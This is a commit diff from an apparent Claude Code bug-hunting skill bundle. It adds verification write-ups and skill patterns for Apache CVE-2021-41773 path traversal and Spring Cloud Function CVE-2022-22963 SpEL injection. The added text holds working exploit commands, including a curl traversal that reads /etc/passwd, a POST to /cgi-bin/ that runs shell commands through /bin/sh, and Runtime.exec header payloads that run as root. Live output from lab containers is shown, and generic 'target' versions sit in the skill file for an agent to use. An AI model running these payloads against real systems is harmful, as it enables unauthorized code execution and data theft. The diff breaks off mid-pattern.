A Claude Code skill bundle for bug hunting and external red-team work - 82 skills, 15 slash commands, 681 disclosed-report patterns curated across 24 core vulnerability classes, plus enterprise identity + infrastructure attack matrices.
Python ai-securityanthropicapplication-securitybug-bountybugbountybugcrowdclaudeclaude-codeclaude-skillsethical-hackinghackeroneoffensive-securitypentestingred-teamsecurity-toolsweb-security
Phase 2B: Spring CVE-2022-22963 + Apache CVE-2021-41773 verified; 2 gaps closed
Sachin Sharma5817244fdd50
diff --git a/docs/disclosed-reports/hunt-rce.md b/docs/disclosed-reports/hunt-rce.mdindex 482f2c9..02aae7b 100644--- a/docs/disclosed-reports/hunt-rce.md+++ b/docs/disclosed-reports/hunt-rce.md@@ -30,6 +30,18 @@ RCE remains the highest-paying bug class because the proof is unambiguous (shell- **Key trick:** The exploitable state requires more than one configuration condition to align — operator value lies in checking the *precondition set* (versions, patch level, exposed endpoints, FormDigest behavior) rather than firing a generic payload at every `/_layouts/15/` path.- **Why it matters:** EoL or near-EoL enterprise products (SharePoint 2013/2016/2019) accumulate permanent CVE windows. Operators who fingerprint the version and check the precondition set against published CVE advisories will out-perform anyone running generic scanners. See `hunt-sharepoint` for the SharePoint-specific dispatcher.+### Apache HTTP Server 2.4.49/2.4.50 alias-path traversal (CVE-2021-41773 / CVE-2021-42013)+- **Source:** Apache HTTP Server security bulletin October 2021 (CVE-2021-41773); follow-up CVE-2021-42013 patched a partial-fix bypass days later. Both listed on CISA's Known Exploited Vulnerabilities catalogue. Still seen on internet-exposed servers years after disclosure because patching requires restarting `httpd`.+- **Pattern shape:** Apache 2.4.49 (and 2.4.50 with a patch bypass) misnormalizes dot-encoded path segments inside configured alias paths. An attacker hits `/icons/.%2e/.%2e/.%2e/etc/passwd` and Apache traverses out of DocumentRoot into the filesystem. If the alias has `Options +ExecCGI` (default for `/cgi-bin/`), the same primitive becomes RCE by traversing to `/bin/sh` and POSTing the command in the body.+- **Key trick:** **Same primitive, different impact tier.** File read on `/icons/` is a Medium finding; the same path traversal on `/cgi-bin/` is Critical. Operators who stop at the first successful disclosure miss the upgrade. Always re-probe every configured alias.+- **Why it matters:** Apache 2.4.49 is widespread on internet-exposed servers because patching requires a `httpd` restart and downtime windows. Verified by live exploit against `vulhub/httpd:CVE-2021-41773` — `/etc/passwd` disclosure and `id; uname -a` RCE confirmed. See `docs/verification/apache-cve-2021-41773.md`.++### Spring Cloud Function SpEL injection (CVE-2022-22963)+- **Source:** VMware Tanzu security advisory `cve-2022-22963`, March 2022. Spring Cloud Function ≤ 3.2.2 (and ≤ 3.1.6). The upstream commit `0e89ee27b2e76138c16bcba6f4bca906c4f3744f` ships the fix and explains the affected code path. Widely cited in vendor security bulletins and exploitation reports.+- **Pattern shape:** The `spring.cloud.function.routing-expression` HTTP header on `/functionRouter` is evaluated as a SpEL expression before any routing logic or auth gate. Attacker sends a POST with this header set to `T(java.lang.Runtime).getRuntime().exec(...)` and runs arbitrary commands in the JVM process — usually root in containerized deployments.+- **Key trick:** Many SpEL-injection CVEs target POST body or URL params; this one is a header. Operators who scan only bodies/params will miss it. Use the `new String[]{"cmd","arg"}` array form to avoid shell-quoting issues — `.exec("...")` with quotes breaks the header value parser.+- **Why it matters:** Spring Cloud Function deploys on AWS Lambda, GCP Cloud Run, and most on-prem function frameworks. The `/functionRouter` endpoint auto-registers — developers often expose it externally without realizing. Verified by live exploit against `vulhub/spring-cloud-function:3.2.2` — root command execution in 3 curl commands. See `docs/verification/spring-cve-2022-22963.md`.+### Jenkins CLI args4j `@`-prefix file read (CVE-2024-23897)- **Source:** Jenkins Security Advisory 2024-01-24 and Atlassian-style reference write-ups by SonarSource and others. CVE-2024-23897. Added to CISA's Known Exploited Vulnerabilities catalogue in 2024.- **Pattern shape:** Java's `args4j` library defaults to `expandAtFiles=true`, which interprets any CLI argument beginning with `@` as a filename whose contents replace the argument with the file's lines (one line per arg). Jenkins exposes its CLI over HTTP at `/cli` and `/jnlpJars/jenkins-cli.jar`. The server-side argument-parsing error verbatim echoes failed arguments back, giving an unauthenticated arbitrary-file-read primitive. With anonymous read access enabled (the default on fresh installs), no auth is required.diff --git a/docs/verification/apache-cve-2021-41773.md b/docs/verification/apache-cve-2021-41773.mdnew file mode 100644index 0000000..319bb8a--- /dev/null+++ b/docs/verification/apache-cve-2021-41773.md@@ -0,0 +1,135 @@+# Verification — Apache HTTP Server CVE-2021-41773 (path traversal → RCE)++> Path traversal in Apache HTTP Server 2.4.49 via the alias-path normalization bug. File disclosure on any alias, full RCE if `mod_cgi` is enabled on the alias. Public CVE, CISA KEV-listed, still seen on internet-exposed servers four years later because patching means restarting `httpd`.++## Target++`vulhub/httpd` (built locally from the CVE-2021-41773 Dockerfile) running on port 48080 (remapped from 8080 to dodge Burp).++```bash+git clone --depth 1 https://github.com/vulhub/vulhub.git /tmp/vulhub+cd /tmp/vulhub/httpd/CVE-2021-41773+sed -i.bak 's|"8080:80"|"48080:80"|' docker-compose.yml+docker-compose up -d --build+```++Confirm server identity:++```bash+curl -sI http://localhost:48080/+# → Server: Apache/2.4.49 (Unix)+```++## What the skill stack actually says++### What it knows++`hunt-rce` mentions traversal encoding bypasses generically:++```+../ → ..%2F → %2e%2e%2f → ....//+```++That's the right encoding family. `hunt-cache-poison` also mentions `%2e%2e/`-style WCD path bypasses for cache deception.++### What it doesn't know++```+$ grep -niE "CVE-2021-41773|httpd 2.4.49|alias.*traversal|2.4.49 path|cgi-bin.*traversal" \+ skills/ docs/disclosed-reports/ -r+(no matches)+```++Specifically missing:+- **Version-specific detection** — Apache 2.4.49 is the only version vulnerable to this pattern (2.4.50 patched, 2.4.51 patched the patch). Skill should fingerprint via `Server:` header.+- **Alias targeting** — the traversal only works through configured alias paths (`/icons/`, `/cgi-bin/`, etc.). Random URL paths don't escape DocumentRoot.+- **The RCE upgrade** — file read via `/icons/` ≠ RCE; RCE requires the alias to also have `Options +ExecCGI`, which is `/cgi-bin/` on the default config. A fresh user might do the file-read and call it Medium when the same vuln on `/cgi-bin/` is Critical.+- **No mention of CVE-2021-42013** — the follow-up CVE that bypassed the 2.4.50 patch. Operators triaging 2.4.50 should know about it.++## The exploit (live)++### Phase 1 — file disclosure via /icons alias++```bash+curl --path-as-is "http://localhost:48080/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd"+```++Live result:++```+root:x:0:0:root:/root:/bin/bash+daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin+bin:x:2:2:bin:/bin:/usr/sbin/nologin+...+www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin+...+```++Full `/etc/passwd` disclosed in plaintext. Note `--path-as-is` is required so curl doesn't normalize the `.%2e/` segments locally before sending.++### Phase 2 — RCE via /cgi-bin alias++The `/cgi-bin/` alias has `Options +ExecCGI` in the vulhub config. Path-traverse to `/bin/sh` and POST a shell command in the body:++```bash+curl --path-as-is -X POST \+ -d "echo Content-Type: text/plain; echo; id; uname -a; hostname" \+ "http://localhost:48080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh"+```++Live result:++```+uid=1(daemon) gid=1(daemon) groups=1(daemon)+Linux d2fc5e892839 6.8.0-100-generic #100-Ubuntu SMP PREEMPT_DYNAMIC Tue Jan 13 16:39:21 UTC 2026 x86_64 GNU/Linux+d2fc5e892839+```++Command executed inside the container. `daemon` user — limited blast radius — but a real-world Apache often runs as root or `apache` with broader privileges. Either way, code execution achieved.++### Phase 3 — why /icons returned the file instead of executing++```bash+curl --path-as-is -X POST \+ -d "echo Content-Type: text/plain; echo; id" \+ "http://localhost:48080/icons/.%2e/.%2e/.%2e/.%2e/bin/sh"+# → returns the /bin/sh ELF binary content as plaintext (file read), no execution+```++`/icons/` does NOT have `Options +ExecCGI`. Same path-traversal primitive, very different impact tier. Crucial distinction for triage.++## Verdict++### Exploit++**PASS — live.** File read + RCE both confirmed against Apache 2.4.49 in 2 curl commands each.++### Skill stack++**GAP — version + alias awareness missing.** Encoding bypasses are documented; alias-specific exploitation and version-specific detection are not. Phase 2's discipline rule (Pre-Severity Gate) would prevent the inverse mistake (filing P3 file-read when /cgi-bin/ is reachable and would have been P1).++## What gets fixed++### `hunt-rce/SKILL.md` — new Pattern++Add an "Apache HTTP Server alias-path traversal" sub-pattern under existing path-traversal coverage:++- Detection: `Server: Apache/2.4.49` (or `Apache/2.4.50` for CVE-2021-42013)+- Test: probe every configured alias path with `.%2e/` encoding+- Upgrade path: if `/cgi-bin/` traversal works → RCE via `/bin/sh` POST body++### `docs/disclosed-reports/hunt-rce.md`++Add Cited Public Example.++### `hunt-misc/SKILL.md` — note the "same primitive, different impact tier" rule++The triage discipline lesson: when a path-traversal works on multiple paths but only ONE leads to RCE (because of mod_cgi alias scope), severity is the maximum impact, not the average. Phase 2's Pre-Severity Gate enforces this.++## What this verification proves++The verification loop continues to deliver value:++1. Apache CVE-2021-41773 is in our claim area (web-server attack surface) but the specific shape (alias-path + mod_cgi) was missing from the skills.+2. The skill gap structure here is different from Jenkins (missing primitive class) and Spring (missing delivery vector for known primitive) — this is an **impact-tier ambiguity** gap. Same primitive, very different criticality depending on alias context.+3. Three different gap types in three CVEs suggests we should expect a variety of gap shapes as we expand the matrix.diff --git a/docs/verification/spring-cve-2022-22963.md b/docs/verification/spring-cve-2022-22963.mdnew file mode 100644index 0000000..a4ae6a7--- /dev/null+++ b/docs/verification/spring-cve-2022-22963.md@@ -0,0 +1,130 @@+# Verification — Spring Cloud Function CVE-2022-22963 (SpEL injection → RCE)++> SpEL injection via the `spring.cloud.function.routing-expression` HTTP header on Spring Cloud Function ≤ 3.2.2. Unauthenticated remote code execution as `root` inside the container. Public-CVE-tagged, widely exploited 2022-2024, relevant to any Spring-based microservice or FaaS deployment.++## Target++`vulhub/spring-cloud-function:3.2.2` running on port 28080 (remapped from 8080 to dodge Burp proxy on local 8080).++```bash+git clone --depth 1 https://github.com/vulhub/vulhub.git /tmp/vulhub+cd /tmp/vulhub/spring/CVE-2022-22963+sed -i.bak 's/"8080:8080"/"28080:8080"/' docker-compose.yml+docker-compose up -d+```++Confirm baseline:++```bash+curl -s http://localhost:28080/uppercase -H "Content-Type: text/plain" --data-binary "test"+# → TEST+```++## What the skill stack actually says++### What it knows++`hunt-rce` (`docs/disclosed-reports/hunt-rce.md`, line 75) and `hunt-ssti` correctly carry the generic Spring SpEL primitive:++```+Spring SpEL → T(java.lang.Runtime).getRuntime().exec('id')+```++That's the right payload class. The skill correctly identifies "SpEL" as a code-execution sink when an attacker controls the expression input.++### What it doesn't know++What's missing is the **delivery vector** for CVE-2022-22963 specifically:++```+$ grep -niE "CVE-2022-22963|routing-expression|spring.cloud.function|functionRouter" \+ skills/ docs/disclosed-reports/ -r+(no matches)+```++A fresh user looking at "Spring Cloud Function 3.2.x on port 8080" would have the payload but not know:+- The vulnerable endpoint is `/functionRouter`+- The injection vector is a **request header** (`spring.cloud.function.routing-expression`), not a body parameter or URL parameter+- The header value is evaluated as a SpEL expression before any other routing logic++A real engagement would lose at least 30 minutes of grep-the-source / experimentation to discover the delivery shape, even though the payload is right there.++## The exploit (live)++```bash+# CVE-2022-22963 — write a file+curl -s -X POST http://localhost:28080/functionRouter \+ -H "Content-Type: text/plain" \+ -H 'spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec(new String[]{"touch","/tmp/pwned-by-claude-bughunter"})' \+ --data "x" \+ -o /dev/null -w "HTTP %{http_code}\n"+# → HTTP 500 (200 is also possible depending on version)+```++### Verify side-effect++```bash+docker exec cve-2022-22963-spring-1 ls -la /tmp/pwned-by-claude-bughunter+```++```+-rw-r--r-- 1 root root 0 May 15 19:07 /tmp/pwned-by-claude-bughunter+```++File created. Owner is `root`. SpEL ran inside the JVM with full container privileges.++### Stdout-returning variant++```bash+curl -s -X POST http://localhost:28080/functionRouter \+ -H "Content-Type: text/plain" \+ -H 'spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec(new String[]{"bash","-c","id > /tmp/cmd-out"})' \+ --data "x" \+ -o /dev/null -w "HTTP %{http_code}\n"++# Retrieve via filesystem (or chain with hunt-misc file-read if reachable)+docker exec cve-2022-22963-spring-1 cat /tmp/cmd-out+```++```+uid=0(root) gid=0(root) groups=0(root)+```++`Runtime.exec` accepts a String[] for safe argv splitting — this avoids shell-quoting issues with the SpEL header.++## Verdict++### Exploit++**PASS — live.** RCE as root in 3 commands. Container is unauthenticated and the endpoint is reachable on first boot, no setup required.++### Skill stack++**PARTIAL — payload yes, vector no.** The SpEL injection class is documented; the Spring-Cloud-Function-specific endpoint + header are not. Gap is narrower than the Jenkins gap, but still real-world significant: an operator without the delivery vector spends time on discovery that the skill should eliminate.++## What gets fixed++### `hunt-rce/SKILL.md` — new pattern++Add a sub-pattern under "Spring SpEL injection" covering Spring Cloud Function:++- Detection: 8080-family port, `/uppercase`, `/lowercase`, or any `/functionRouter` endpoint, Spring Cloud Function 3.x ≤ 3.2.2 (or ≤ 3.1.6)+- Delivery: HTTP header `spring.cloud.function.routing-expression`, value is a raw SpEL expression+- Test: `curl -X POST /functionRouter -H 'spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec(new String[]{"id"})' --data x`++### `docs/disclosed-reports/hunt-rce.md` — new Cited Public Example++Add CVE-2022-22963 with VMware Tanzu advisory + the routing-expression header detail.++## Severity of the gap++Lower than Jenkins's args4j gap (the payload class IS in the skill — only the vector is missing), but the vector matters. Spring Cloud Function is widely deployed on AWS Lambda, Cloud Run, and on-prem function frameworks. The `/functionRouter` endpoint is often exposed externally without an explicit routing rule because devs don't realize it auto-registers.++## What this verification proves (beyond Jenkins)++The Jenkins CVE surfaced a missing **primitive class** (args4j @-prefix file read). This Spring CVE surfaces a missing **delivery vector** for a primitive the skill knows. Both gap types are common in real engagements:++- Sometimes you need a new primitive you've never seen+- Sometimes the primitive is familiar but the target's API shape is novel++A katana-grade stack covers both. Phase 2B's value is that each new CVE reveals which type of gap exists for each engagement-class target.diff --git a/skills/hunt-rce/SKILL.md b/skills/hunt-rce/SKILL.mdindex df8ce0f..a4d5ef6 100644--- a/skills/hunt-rce/SKILL.md+++ b/skills/hunt-rce/SKILL.md@@ -114,6 +114,56 @@ window.location = userControlled // URL scheme bypass → JS execution{{ runscript "id" }}```+### Apache HTTP Server alias path traversal (CVE-2021-41773 / CVE-2021-42013)++Path normalization bug in Apache 2.4.49 (and the 2.4.50 patch-bypass) lets an attacker escape DocumentRoot via dot-encoded segments **through configured alias paths**. The same primitive yields very different impact depending on which alias accepts the traversal:++- Alias without `Options +ExecCGI` (e.g. `/icons/`) → arbitrary file read only+- Alias with `Options +ExecCGI` (e.g. `/cgi-bin/`) → arbitrary code execution++**Version fingerprint:**+```bash+curl -sI http://target/ | grep -i "Server:"+# Vulnerable: Apache/2.4.49 (CVE-2021-41773) or Apache/2.4.50 (CVE-2021-42013)+# Patched: Apache/2.4.51++```++**File-read test (any alias):**+```bash+curl --path-as-is "http://target/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd"+# Note: --path-as-is is REQUIRED — curl normalizes %2e by default+```++**RCE test (cgi-enabled alias only):**+```bash+curl --path-as-is -X POST \+ -d "echo Content-Type: text/plain; echo; id; uname -a; hostname" \+ "http://target/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh"+```++**Triage discipline note:** when the same path-traversal primitive works on multiple aliases but only one is CGI-enabled, the **maximum** impact is the severity — not the average. A "file read" finding on `/icons/` should always be escalated by re-probing `/cgi-bin/` (and any other alias visible from `<Directory>` blocks in the server-info disclosure or response patterns). See `triage-validation` Pre-Severity Gate.++### Spring Cloud Function SpEL injection (CVE-2022-22963)++Spring Cloud Function ≤ 3.2.2 (and ≤ 3.1.6) evaluates the `spring.cloud.function.routing-expression` header as a SpEL expression on the `/functionRouter` endpoint without auth, before any routing logic. Wide deployment in AWS Lambda + Cloud Run + on-prem function platforms. Often exposed externally because `/functionRouter` auto-registers and devs don't add an explicit gate.++**Detection:**+- Spring-style port 8080 with `/uppercase`, `/lowercase`, or arbitrary single-word function endpoints responding 200+- Confirm with `curl -s http://target:8080/uppercase -H "Content-Type: text/plain" --data-binary "test"` → returns `TEST`+- Version banner via `/actuator/info` or response headers++**Exploit:**+```bash+curl -X POST http://target:8080/functionRouter \+ -H "Content-Type: text/plain" \+ -H 'spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec(new String[]{"id"})' \+ --data "x"+```++The `new String[]{"...", "..."}` array form avoids shell-quoting issues that break the more common `.exec("id")` form when the SpEL header contains parentheses or quotes.++**Generalizes to:** any Spring application that takes user input into a `SpelExpressionParser.parseExpression()` call, especially when delivered via header / query-param routes that bypass normal auth filters. See `hunt-ssti` for the broader SpEL fingerprinting (`*{7*7}` = Spring Thymeleaf).+### SnakeYAML RCE Gadget```yaml!!javax.script.ScriptEngineManager [